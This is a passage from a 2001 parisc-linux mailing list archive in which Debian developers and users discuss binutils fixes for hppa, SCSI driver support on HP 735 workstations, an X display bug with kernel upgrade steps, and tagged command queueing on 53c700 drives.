Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620670 28755 80.91.229.3 (22 Nov 2014 01:44:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:30 +0000 (UTC)
Cc: bcollins@debian.org, amodra@bigpond.net.au,
	parisc-linux@parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 23:20:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94E8A482A
	for <parisc-linux@parisc-linux.org>; Mon, 22 Oct 2001 23:20:17 -0600 (MDT)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 15vtyq-0004LU-00; Tue, 23 Oct 2001 01:20:00 -0400
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <20011022221714.O537@tausq.org>
Original-Sender: "Christopher C. Chimelis" <chris@spawn.hockeyfiend.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12787

On Mon, 22 Oct 2001, Randolph Chung wrote:

> With many thanks to Alan Modra binutils seems to be fixed now. Chris,
> can you please build a new binutils from cvs? Everything should be there, and
> the hppa-specific patch you currently have in the package should no longer 
> be needed.

Ok, I'll include those in the next upload (based on HJ's release from
today and including the patches that Alan just committed).

> The patch Ben has is needed to build glibc with the new binutils.

Fantastic :-)

> hppa is also a bit behind on gcc-3.0. I'll try to build new ones RSN.

This is good news :-)  Many thanks to Alan for working on this so quickly
:-)

C





From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Collins <bcollins@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Yay, binutils fixed for hppa
Date: Tue, 23 Oct 2001 01:41:19 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20011023014119.I10952@visi.net>
References: <20011022221714.O537@tausq.org> <Pine.LNX.4.21.0110230118590.16337-100000@spawn.hockeyfiend.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620670 28761 80.91.229.3 (22 Nov 2014 01:44:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:30 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>, amodra@bigpond.net.au,
	parisc-linux@parisc-linux.org
To: "Christopher C. Chimelis" <chris@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 00:11:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from blimpo.internal.net (ppp01.ts1-1.NewportNews.visi.net [209.8.196.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B8BE482A
	for <parisc-linux@parisc-linux.org>; Tue, 23 Oct 2001 00:10:52 -0600 (MDT)
Original-Received: from bmc by blimpo.internal.net with local (Exim 3.32 #1 (Debian))
	id 15vuJT-0007uE-00; Tue, 23 Oct 2001 01:41:19 -0400
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0110230118590.16337-100000@spawn.hockeyfiend.com>
User-Agent: Mutt/1.3.22i
Original-Sender: Ben Collins <bmc@visi.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12788

On Tue, Oct 23, 2001 at 01:20:00AM -0400, Christopher C. Chimelis wrote:
> 
> On Mon, 22 Oct 2001, Randolph Chung wrote:
> 
> > With many thanks to Alan Modra binutils seems to be fixed now. Chris,
> > can you please build a new binutils from cvs? Everything should be there, and
> > the hppa-specific patch you currently have in the package should no longer 
> > be needed.
> 
> Ok, I'll include those in the next upload (based on HJ's release from
> today and including the patches that Alan just committed).
> 
> > The patch Ben has is needed to build glibc with the new binutils.
> 
> Fantastic :-)
> 
> > hppa is also a bit behind on gcc-3.0. I'll try to build new ones RSN.
> 
> This is good news :-)  Many thanks to Alan for working on this so quickly
> :-)

Great work guys!

-- 
 .----------=======-=-======-=========-----------=====------------=-=-----.
/                   Ben Collins    --    Debian GNU/Linux                  \
`  bcollins@debian.org  --  bcollins@openldap.org  --  bcollins@linux.com  '
 `---=========------=======-------------=-=-----=-===-======-------=--=---'




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Netscape for PALinux
Date: Tue, 23 Oct 2001 08:56:11 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <OE47JSsubWCG0ESGp8400003e1e@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620670 28770 80.91.229.3 (22 Nov 2014 01:44:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 00:56:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe47.law4.hotmail.com [216.33.148.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF2D5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 00:56:21 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 22 Oct 2001 23:56:20 -0700
X-Originating-IP: [212.190.4.43]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 23 Oct 2001 06:56:20.0632 (UTC) FILETIME=[D217F180:01C15B8F]
Xref: news.gmane.org gmane.linux.ports.parisc:12789

Hi all,


I recently got my hands on a 712/60 workstation. I was surprised to see that
there was a Linux port to this system. As I am very fond of Linux, I got rid
of the old HP-UX (9.05) and installed woody. All seems to work fine, I even
got X-Windows installed and running. As I really want to use the workstation
as a replacement for my Pentium NT box, I was wondering if there's a
Netscape port for PA Linux. I've alread checked the Netscape site, but it
only provides i386 binaries.
Is there any port available? Or is there another good alternative?


regards,

Kenneth





From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Netscape for PALinux
Date: Tue, 23 Oct 2001 16:57:26 +1000
Lines: 53
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72BC9@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620671 28776 80.91.229.3 (22 Nov 2014 01:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 01:00:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 203A0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 01:00:28 -0600 (MDT)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <SF562TM4>; Tue, 23 Oct 2001 16:57:27 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12790

Not sure about PA-Linux specifically, but you could try the usual suspects:

Mozilla, Galeon (which requires Mozilla), Konquerer, et al. I use Galeon on
my (x86) Linux box at home with few problems.

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069 - AUSTRALIA
ph:  +61-7-3327 4685     fax:  +61-7-3327 4455
email:  matt.vandewerken@csiro.au


> -----Original Message-----
> From: kenneth westelinck [mailto:kennywest1@hotmail.com]
> Sent: Tuesday, 23 October 2001 4:56 PM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] Netscape for PALinux
> 
> 
> Hi all,
> 
> 
> I recently got my hands on a 712/60 workstation. I was 
> surprised to see that
> there was a Linux port to this system. As I am very fond of 
> Linux, I got rid
> of the old HP-UX (9.05) and installed woody. All seems to 
> work fine, I even
> got X-Windows installed and running. As I really want to use 
> the workstation
> as a replacement for my Pentium NT box, I was wondering if there's a
> Netscape port for PA Linux. I've alread checked the Netscape 
> site, but it
> only provides i386 binaries.
> Is there any port available? Or is there another good alternative?
> 
> 
> regards,
> 
> Kenneth
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Tue, 23 Oct 2001 12:10:34 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20011023121034.E11105@linuxcare.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCBC0@wing-ep.tip.csiro.au> <20011020232231.D31505@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620671 28779 80.91.229.3 (22 Nov 2014 01:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:31 +0000 (UTC)
Cc: Steve.Grady@csiro.au, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 05:10:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc3-hems4-0-cust183.bre.cable.ntl.com [213.107.179.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id 637A5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 05:10:56 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 74011B00C; Tue, 23 Oct 2001 12:10:34 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011020232231.D31505@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sat, Oct 20, 2001 at 11:22:31PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12791

On Sat, Oct 20, 2001 at 11:22:31PM +0100, Matthew Wilcox wrote:
> On Sun, Oct 21, 2001 at 08:05:16AM +1000, Steve.Grady@csiro.au wrote:
> > I want to put a large SCSI disk either 9.1G or 18.2G SCSI disk on a HP
> > 735/125 does anyone know if this will work under PARISC-linux and will I be
> > able to see the whole disk?

As I think jsm added, the internal fast-wide-diff disks on a 53c720 are
not supported atm.  53c720 is supported on some systems (zalon on bluefish
card, in my B180, for example), and I had some provisional patches for
53c720 support on Outfield (735).  Turns out that they wont work though,
because 735 is not cache coherent.  The 53c720 driver is ncr53c8xx.c,
which assumes cache coherent memory is available - it bombs on 735
because pci_alloc_consistent() fails.

Not sure what to do about this yet - we might get support most easily
by adding 53c720 to the new 53c700 driver, but it would be running
the 53c720 in 53c700 mode, which is rather sub-optimal.

Given that ncr53c8xx.c is really a pci driver, I think there is a limit
to how much we can get away with changing it for non-pci, non 53c8xx
chips.

Richard





From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X window refresh problem
Date: Tue, 23 Oct 2001 10:13:00 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <5360C45FAB301541AEB3C6A45A6B6A02706831@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620671 28780 80.91.229.3 (22 Nov 2014 01:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:31 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 08:14:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ckmso1.proxy.att.com (ckmso1.att.com [12.20.58.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D0EB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 08:14:06 -0600 (MDT)
Original-Received: from gab200r1.ems.att.com ([135.37.94.32])
	by ckmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f9NEDp318220
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 10:13:56 -0400 (EDT)
Original-Received: from flf960bh1.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id KAA05276; Tue, 23 Oct 2001 10:14:06 -0400 (EDT)
Original-Received: by flf960bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <VHH2Y7MJ>; Tue, 23 Oct 2001 10:13:47 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12792

Hello all,

Well, I decided to ditch HPUX 10.20 for Linux. I have installed the kernel
from the ISO image onto a 712/60.

I have installed X on it. Every is fine until the screen goes black. Once
this happens, the colors are messed up and it is unusable. I believe that is
the same problem as the blue is white that was talked on the mailing list.
This problem was corrected with a new kernel.

The kernel that I am running is 2.4.0-pa22. How do I upgrade the kernel?

Thanks in advance,
Aubrey




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X window refresh problem
Date: Tue, 23 Oct 2001 17:30:25 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20011023173025.K11105@linuxcare.com>
References: <5360C45FAB301541AEB3C6A45A6B6A02706831@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620671 28782 80.91.229.3 (22 Nov 2014 01:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:31 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 10:30:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc3-hems4-0-cust183.bre.cable.ntl.com [213.107.179.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id 700A9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 10:30:49 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 18E86B00C; Tue, 23 Oct 2001 17:30:25 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <5360C45FAB301541AEB3C6A45A6B6A02706831@ocst09.ugd.att.com>; from aubreygriffin@att.com on Tue, Oct 23, 2001 at 10:13:00AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12793

On Tue, Oct 23, 2001 at 10:13:00AM -0400, Griffin, Aubrey, BMCIO wrote:
> Hello all,
> 
> Well, I decided to ditch HPUX 10.20 for Linux. I have installed the kernel
> from the ISO image onto a 712/60.
> 
> I have installed X on it. Every is fine until the screen goes black. Once
> this happens, the colors are messed up and it is unusable. I believe that is
> the same problem as the blue is white that was talked on the mailing list.
> This problem was corrected with a new kernel.
> 
> The kernel that I am running is 2.4.0-pa22. How do I upgrade the kernel?

grab ftp://ftp.parisc-linux.org/unofficial-debs/kernel-image-2.4.9-32_011017.pa59_hppa.deb

and dpkg -i kernel-image-2.4.9-32_011017.pa59_hppa.deb

I think you are advised to upgrade the rest of your system first, if
you havn't done so recently (apt-get update; apt-get upgrade).

Richard





From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] X window refresh problem
Date: Tue, 23 Oct 2001 12:51:16 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <5360C45FAB301541AEB3C6A45A6B6A02706832@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620672 28785 80.91.229.3 (22 Nov 2014 01:44:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:32 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'Richard Hirst'" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 10:52:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 741B8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 10:52:22 -0600 (MDT)
Original-Received: from gab200r1.ems.att.com ([135.37.94.32])
	by kcmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f9NGq7Y12948;
	Tue, 23 Oct 2001 12:52:07 -0400 (EDT)
Original-Received: from flf960bh1.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id MAA22160; Tue, 23 Oct 2001 12:52:23 -0400 (EDT)
Original-Received: by flf960bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <VHH2ZL33>; Tue, 23 Oct 2001 12:52:03 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12794

Richard,

I installed that kernel already and booted from it. When I started X, it
crashed. So, I went back to my old kernel.

I have just done an apt-get update; apt-get upgrade. I'll see if it works
now.

Thanks,

Aubrey

-----Original Message-----
From: Richard Hirst [mailto:rhirst@linuxcare.com]
Sent: Tuesday, October 23, 2001 12:30 PM
To: Griffin, Aubrey, BMCIO
Cc: 'parisc-linux@lists.parisc-linux.org'
Subject: Re: [parisc-linux] X window refresh problem


On Tue, Oct 23, 2001 at 10:13:00AM -0400, Griffin, Aubrey, BMCIO wrote:
> Hello all,
> 
> Well, I decided to ditch HPUX 10.20 for Linux. I have installed the kernel
> from the ISO image onto a 712/60.
> 
> I have installed X on it. Every is fine until the screen goes black. Once
> this happens, the colors are messed up and it is unusable. I believe that
is
> the same problem as the blue is white that was talked on the mailing list.
> This problem was corrected with a new kernel.
> 
> The kernel that I am running is 2.4.0-pa22. How do I upgrade the kernel?

grab
ftp://ftp.parisc-linux.org/unofficial-debs/kernel-image-2.4.9-32_011017.pa59
_hppa.deb

and dpkg -i kernel-image-2.4.9-32_011017.pa59_hppa.deb

I think you are advised to upgrade the rest of your system first, if
you havn't done so recently (apt-get update; apt-get upgrade).

Richard




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X window refresh problem
Date: Tue, 23 Oct 2001 17:57:08 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20011023175708.A9620@parcelfarce.linux.theplanet.co.uk>
References: <5360C45FAB301541AEB3C6A45A6B6A02706831@ocst09.ugd.att.com> <20011023173025.K11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620672 28789 80.91.229.3 (22 Nov 2014 01:44:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:32 +0000 (UTC)
Cc: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 11:15:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96ACA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 11:15:09 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15w4rU-0008HI-00; Tue, 23 Oct 2001 17:57:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011023173025.K11105@linuxcare.com>; from rhirst@linuxcare.com on Tue, Oct 23, 2001 at 05:30:25PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12795

On Tue, Oct 23, 2001 at 05:30:25PM +0100, Richard Hirst wrote:
> I think you are advised to upgrade the rest of your system first, if
> you havn't done so recently (apt-get update; apt-get upgrade).

No, install the new kernel first.  Newer glibcs fix a bug which exposes a
kernel bug, which prevents you ssh'ing in... so upgade the kernel first
nd you'll be fine.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 53c700: tagged queueing problem confirmed
Date: Tue, 23 Oct 2001 22:33:50 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20011023223350.A1650@zaphod.halden.lillfab.se>
References: <5116@telia.com> <200110220034.f9M0YM701447@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620673 28793 80.91.229.3 (22 Nov 2014 01:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:33 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>,
	parisc-linux@lists.parisc-linux.org,
	Richard Hirst <rhirst@linuxcare.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 14:34:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailc.telia.com (mailc.telia.com [194.22.190.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31A8D482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 14:34:13 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by mailc.telia.com (8.11.6/8.11.6) with ESMTP id f9NKXuA09933;
	Tue, 23 Oct 2001 22:33:57 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t7o70p119.telia.com [217.208.220.119])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9NKXqf25300;
	Tue, 23 Oct 2001 22:33:52 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id WAA05448;
	Tue, 23 Oct 2001 22:33:51 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
In-Reply-To: <200110220034.f9M0YM701447@localhost.localdomain>; from James.Bottomley@HansenPartnership.com on Mon, Oct 22, 2001 at 02:34:22 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 24
Xref: news.gmane.org gmane.linux.ports.parisc:12796

On 2001.10.22 02:34 James Bottomley wrote:
> 5116@telia.com said:
> > I have investigated this some more and I have come to the conclustion
> > that you are quite right. I disabled tagged queueing in the drivber
> > and it instantly bacame stable.
> 
> > Do you have any idea on how to proceed debugging this? 
> 
> Well here's my theory:
> 
> There are a number of reports with tag command queueing problems
> associated with these drives.  In particular, one for freebsd said 
> that the aic7xxx driver was reporting data overruns with TCQ enabled 
> on Quantum Fireballs.
Ok.

I have used these drives with i386 Linux without problems with both the
aix7xxx driver and the sym53c8xx driver. Both these drivers use a default of max
8 tags per lun, so I chnaged the value in your driver and it works.
So, maybe 8 tags per lun is the conservative default here ?

/Daneil 
-- 




From - Thu Nov 08 21:20:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Yay, binutils fixed for hppa
Date: Tue, 23 Oct 2001 19:56:08 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0110231955320.29726-100000@spawn.hockeyfiend.com>
References: <20011022221714.O537@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620673 28796 80.91.229.3 (22 Nov 2014 01:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:33 +0000 (UTC)
Cc: bcollins@debian.org, amodra@bigpond.net.au,
	parisc-linux@parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 17:56:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53238482B
	for <parisc-linux@parisc-linux.org>; Tue, 23 Oct 2001 17:56:32 -0600 (MDT)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 15wBOy-0007jT-00; Tue, 23 Oct 2001 19:56:08 -0400
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <20011022221714.O537@tausq.org>
Original-Sender: "Christopher C. Chimelis" <chris@spawn.hockeyfiend.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12797

Ok, new source package on klecker in ~chris/public_html/binutils for your
testing :-)  If it works, I'll do the upload tonight :-)

C

On Mon, 22 Oct 2001, Randolph Chung wrote:

> With many thanks to Alan Modra binutils seems to be fixed now. Chris,
> can you please build a new binutils from cvs? Everything should be there, and
> the hppa-specific patch you currently have in the package should no longer 
> be needed.
> 
> The patch Ben has is needed to build glibc with the new binutils.
> 
> hppa is also a bit behind on gcc-3.0. I'll try to build new ones RSN.
> 
> randolph
> -- 
> Debian Developer <tausq@debian.org>
> http://www.TauSq.org/
> 
> 





From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 53c700: tagged queueing problem confirmed
Date: Tue, 23 Oct 2001 18:59:25 -0500
Lines: 30
Approved: news@gmane.org
